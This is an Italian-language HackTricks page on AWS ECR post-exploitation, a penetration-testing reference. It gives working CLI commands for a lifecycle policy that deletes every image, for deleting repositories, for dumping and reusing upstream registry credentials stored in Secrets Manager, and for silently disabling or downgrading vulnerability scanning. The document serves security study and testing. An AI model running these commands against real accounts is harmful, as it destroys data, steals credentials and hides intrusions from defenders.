# AWS - ECR Post Exploitation

{{#include ../../../../banners/hacktricks-training.md}}

## ECR

Per maggiori informazioni consulta

{{#ref}}
../../aws-services/aws-ecr-enum.md
{{#endref}}

### Login, Pull & Push
```bash
# Docker login into ecr
## For public repo (always use us-east-1)
aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/<random-id>
## For private repo
aws ecr get-login-password --profile <profile_name> --region <region> | docker login --username AWS --password-stdin <account_id>.dkr.ecr.<region>.amazonaws.com
## If you need to acces an image from a repo if a different account, in <account_id> set the account number of the other account

# Download
docker pull <account_id>.dkr.ecr.<region>.amazonaws.com/<repo_name>:latest
## If you still have the error "Requested image not found"
## It might be because the tag "latest" doesn't exit
## Get valid tags with:
TOKEN=$(aws --profile <profile> ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken')
curl -i -H "Authorization: Basic $TOKEN" https://<account_id>.dkr.ecr.<region>.amazonaws.com/v2/<img_name>/tags/list

# Inspect the image
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0
docker inspect <account id>.dkr.ecr.<region>.amazonaws.com/<image>:<tag> # Inspect the image indicating the URL

# Upload (example uploading purplepanda with tag latest)
docker tag purplepanda:latest <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
docker push <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest

# Downloading without Docker
# List digests
aws ecr batch-get-image --repository-name level2 \
--registry-id 653711331788 \
--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'

## Download a digest
aws ecr get-download-url-for-layer \
--repository-name level2 \
--registry-id 653711331788 \
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
```
Dopo aver scaricato le immagini dovresti **controllarle per informazioni sensibili**:

{{#ref}}
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
{{#endref}}

### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`

Un attaccante con una qualsiasi di queste autorizzazioni può **creare o modificare una lifecycle policy per eliminare tutte le immagini nel repository** e poi **cancellare l'intero repository ECR**. Ciò comporterebbe la perdita di tutte le immagini dei container memorizzate nel repository.
```bash
# Create a JSON file with the malicious lifecycle policy
echo '{
"rules": [
{
"rulePriority": 1,
"description": "Delete all images",
"selection": {
"tagStatus": "any",
"countType": "imageCountMoreThan",
"countNumber": 0
},
"action": {
"type": "expire"
}
}
]
}' > malicious_policy.json

# Apply the malicious lifecycle policy to the ECR repository
aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json

# Delete the ECR repository
aws ecr delete-repository --repository-name your-ecr-repo-name --force

# Delete the ECR public repository
aws ecr-public delete-repository --repository-name your-ecr-repo-name --force

# Delete multiple images from the ECR repository
aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0

# Delete multiple images from the ECR public repository
aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
```
### Exfiltrate credenziali del registro upstream da ECR Pull‑Through Cache (PTC)

Se ECR Pull‑Through Cache è configurato per registri upstream autenticati (Docker Hub, GHCR, ACR, ecc.), le credenziali upstream sono memorizzate in AWS Secrets Manager con un prefisso di nome prevedibile: `ecr-pullthroughcache/`. Gli operatori a volte concedono agli admin ECR un ampio accesso in lettura a Secrets Manager, consentendo la exfiltration delle credenziali e il riutilizzo al di fuori di AWS.

Requisiti
- secretsmanager:ListSecrets
- secretsmanager:GetSecretValue

Elencare i segreti PTC candidati
```bash
aws secretsmanager list-secrets \
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
--output text
```
Esegui il dump dei secrets scoperti e analizza i campi comuni
```bash
for s in $(aws secretsmanager list-secrets \
--query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
aws secretsmanager get-secret-value --secret-id "$s" \
--query SecretString --output text | tee /tmp/ptc_secret.json
jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true
jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true
done
```
Facoltativo: verificare i leaked creds contro l'upstream (login in sola lettura)
```bash
echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io
```
Impatto
- La lettura di queste voci di Secrets Manager fornisce credenziali riutilizzabili del registry upstream (username/password or token), che possono essere abusate al di fuori di AWS per pull di immagini private o per accedere a repository aggiuntivi a seconda delle upstream permissions.


### Registry-level stealth: disabilitare o degradare la scansione via `ecr:PutRegistryScanningConfiguration`

Un attacker con registry-level ECR permissions può ridurre o disabilitare silenziosamente la scansione automatica delle vulnerabilità per ALL repositories impostando la registry scanning configuration su BASIC senza regole scan-on-push. Questo impedisce che i nuovi image pushes vengano scansionati automaticamente, nascondendo immagini vulnerabili o malicious.

Requisiti
- ecr:PutRegistryScanningConfiguration
- ecr:GetRegistryScanningConfiguration
- ecr:PutImageScanningConfiguration (opzionale, per-repo)
- ecr:DescribeImages, ecr:DescribeImageScanFindings (verifica)

Degradazione a livello di registry a modalità manuale (no auto scans)
```bash
REGION=us-east-1
# Read current config (save to restore later)
aws ecr get-registry-scanning-configuration --region "$REGION"

# Set BASIC scanning with no rules (results in MANUAL scanning only)
aws ecr put-registry-scanning-configuration \
--region "$REGION" \
--scan-type BASIC \
--rules '[]'
```
Test con un repo e un image
```bash
acct=$(aws sts get-caller-identity --query Account --output text)
repo=ht-scan-stealth
aws ecr create-repository --region "$REGION" --repository-name "$repo" >/dev/null 2>&1 || true
aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com
printf 'FROM alpine:3.19\nRUN echo STEALTH > /etc/marker\n' > Dockerfile
docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test .
docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${repo}:test

# Verify no scan ran automatically
aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids imageTag=test --query 'imageDetails[0].imageScanStatus'
# Optional: will error with ScanNotFoundException if no scan exists
aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true
```
Opzionale: degradare ulteriormente a livello del repo
```bash
# Disable scan-on-push for a specific repository
aws ecr put-image-scanning-configuration \
--region "$REGION" \
--repository-name "$repo" \
--image-scanning-configuration scanOnPush=false
```
Impatto
- I nuovi push di immagini su tutto il registry non vengono scansionati automaticamente, riducendo la visibilità di contenuti vulnerabili o dannosi e ritardando il rilevamento fino a quando non viene avviata una scansione manuale.


### Declassamento del motore di scanning a livello di registry tramite `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR)

Riduci la qualità del rilevamento delle vulnerabilità su tutto il registry cambiando il motore di scansione BASIC dal predefinito AWS_NATIVE al motore legacy CLAIR. Questo non disabilita le scansioni, ma può modificare in modo significativo i risultati/coprertura. Combinalo con una configurazione di scanning registry BASIC senza regole per rendere le scansioni esclusivamente manuali.

Requisiti
- `ecr:PutAccountSetting`, `ecr:GetAccountSetting`
- (Opzionale) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`

Impatto
- Registry setting `BASIC_SCAN_TYPE_VERSION` impostato su `CLAIR` in modo che le successive scansioni BASIC vengano eseguite con il motore declassato. CloudTrail records the `PutAccountSetting` API call.

Passaggi
```bash
REGION=us-east-1

# 1) Read current value so you can restore it later
aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION || true

# 2) Downgrade BASIC scan engine registry‑wide to CLAIR
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value CLAIR

# 3) Verify the setting
aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION

# 4) (Optional stealth) switch registry scanning to BASIC with no rules (manual‑only scans)
aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC --rules '[]' || true

# 5) Restore to AWS_NATIVE when finished to avoid side effects
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE
```
### Scansionare le immagini ECR per vulnerabilità
```bash
#!/bin/bash

# This script pulls all images from ECR and runs snyk on them showing vulnerabilities for all images

region=<region>
profile=<aws_profile>

registryId=$(aws ecr describe-registry --region $region --profile $profile --output json | jq -r '.registryId')

# Configure docker creds
aws ecr get-login-password --region $region --profile $profile | docker login --username AWS --password-stdin $registryId.dkr.ecr.$region.amazonaws.com

while read -r repo; do
echo "Working on repository $repo"
digest=$(aws ecr describe-images --repository-name $repo --image-ids imageTag=latest --region $region --profile $profile --output json | jq -r '.imageDetails[] | .imageDigest')
if [ -z "$digest" ]
then
echo "No images! Empty repository"
continue
fi
url=$registryId.dkr.ecr.$region.amazonaws.com/$repo@$digest
echo "Pulling $url"
docker pull $url
echo "Scanning $url"
snyk container test $url --json-file-output=./snyk/$repo.json --severity-threshold=high
# trivy image -f json -o ./trivy/$repo.json --severity HIGH,CRITICAL $url
# echo "Removing image $url"
# docker image rm $url
done < <(aws ecr describe-repositories --region $region --profile $profile --output json | jq -r '.repositories[] | .repositoryName')
```
{{#include ../../../../banners/hacktricks-training.md}}
